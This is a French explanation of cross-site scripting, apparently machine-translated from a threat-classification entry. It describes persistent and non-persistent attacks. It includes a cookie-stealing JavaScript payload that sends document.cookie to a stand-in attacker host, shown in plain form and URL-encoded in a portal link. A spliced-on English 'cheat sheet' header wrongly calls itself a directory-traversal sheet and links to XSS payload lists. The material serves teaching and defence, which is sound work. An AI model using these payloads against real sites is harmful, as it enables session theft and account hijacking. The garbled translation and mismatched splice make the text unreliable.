Classification de menaces

Scripts

inter-sites XSS (Cross-Site Scripting) est une technique d'attaque qui oblige un site Web à faire écho au code exécutable fourni par l'attaquant, qui se charge dans le navigateur de l'utilisateur. Le code lui-même est généralement écrit en HTML / JavaScript, mais peut également s'étendre à VBScript, ActiveX, Java, Flash ou toute autre technologie prise en charge par un navigateur.

Lorsqu'un attaquant obtient le navigateur d'un utilisateur pour exécuter son code, le code s'exécute dans le contexte de sécurité (ou zone) du site Web d'hébergement. Avec ce niveau de privilège, le code a la capacité de lire, modifier et transmettre toutes les données sensibles accessibles par le navigateur. Un utilisateur de script intersite peut se faire détourner son compte (vol de cookie), rediriger son navigateur vers un autre emplacement ou éventuellement afficher un contenu frauduleux fourni par le site Web visité. Les attaques de script intersites compromettent essentiellement la relation de confiance entre un utilisateur et le site Web.

Il existe deux types d'attaques de script inter-sites, non persistantes et persistantes. Les attaques non persistantes nécessitent qu'un utilisateur visite un lien spécialement conçu contenant un code malveillant. Lors de la visite du lien, le code intégré à l'URL sera répercuté et exécuté dans le navigateur Web de l'utilisateur. Les attaques persistantes se produisent lorsque le code malveillant est soumis à un site Web où il est stocké pendant un certain temps. Les exemples de cibles favorites d'un attaquant incluent souvent des messages sur le forum, des messages de messagerie Web et un logiciel de discussion en ligne. L'utilisateur sans méfiance n'est pas obligé de cliquer sur un lien, il suffit de simplement afficher la page Web contenant le code.

Exemple

attaque persistante

De nombreux sites Web hébergent des babillards électroniques dans lesquels les utilisateurs enregistrés peuvent publier des messages. Un utilisateur enregistré est généralement suivi à l'aide d'un cookie d'ID de session les autorisant à publier. Si un attaquant devait publier un message contenant un code JavaScript spécialement conçu, les utilisateurs et utilisateurs de ce message pourraient voir leurs cookies et leur compte compromis.

Extrait de code de vol de cookie:

< SCRIPT>

document.location = 'http://attackerhost.example/cgi- bin /cookiesteal.cgi?' + document.cookie < / script >

Attaque non persistante

De nombreux portails Web offrent une vue personnalisée d'un site Web et accueillent un utilisateur connecté avec "Bienvenue,". Parfois, les données référençant un utilisateur connecté sont stockées dans la chaîne de requête d'une URL et renvoyées à l'écran.

Exemple d'URL du portail:

http: //portal.example/index.php? Sessionid = 12312312& username =Joe

Dans l'exemple ci-dessus, vous pouvez voir que le nom d'utilisateur "Joe" est stocké dans l'URL. La page Web résultante affiche un message "Bienvenue, Joe". Si un attaquant devait modifier le champ du nom d'utilisateur dans l'URL, en insérant un JavaScript voleur de cookies, prendre le contrôle du compte de l'utilisateur

Un grand pourcentage de personnes seront suspectes si elles voient JavaScript incorporé dans une URL, de telle sorte que la plupart du temps, un attaquant URL encodera leur charge malveillante comme dans l'exemple ci-dessous.

URL Exemple codé d'URL de vol cookie : http: //portal.example/index.php? Sessionid = 12312312& nom d'utilisateur =% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D% 65% 6E% 74% 2E% 6C% 6F% 63% 61% 74% 69% 6F % 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65% 72% 68% 6F% 73% 74% 2E% 65% 78 % 61% 6D% 70% 6C% 65% 2F% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F% 6B% 69% 65% 73% 74% 65% 61% 6C % 2E% 63% 67% 69% 3F% 27% 2B% 64% 6F% 63% 75% 6D% 65% 6E% 74% 2E% 63% 6F% 6F% 6B% 69% 65% 3C% 2F% 73 % 63% 72% 69% 70% 74% 3E

Exemple décodé de Cookie Stealing URL: http: //portal.example/index.php? Sessionid = 12312312& username = < script> document.location = 'http: //attaquant host.example / cgi-bin /cookiesteal.cgi?'+ document.cookie < /script>

Title: Ultimate Cross Site Scripting Attack Cheat Sheet

Last Update: 2018-06-28

Note: This is a technical sheet for research about directory- and path traversal attacks.

Please continue the ultimate directory traversal cheat sheet list or contribute to update.

This cheat sheet list goes out to assist pentesters, developers, researchers & whitehats.

https://gist.github.com/JohannesHoppe/5612274#file-666_lines_of_xss_vectors-html

https://securityonline.info/cross-site-scripting-xss-payloads/

http://www.vulnerability-lab.com/resources/documents/531.txt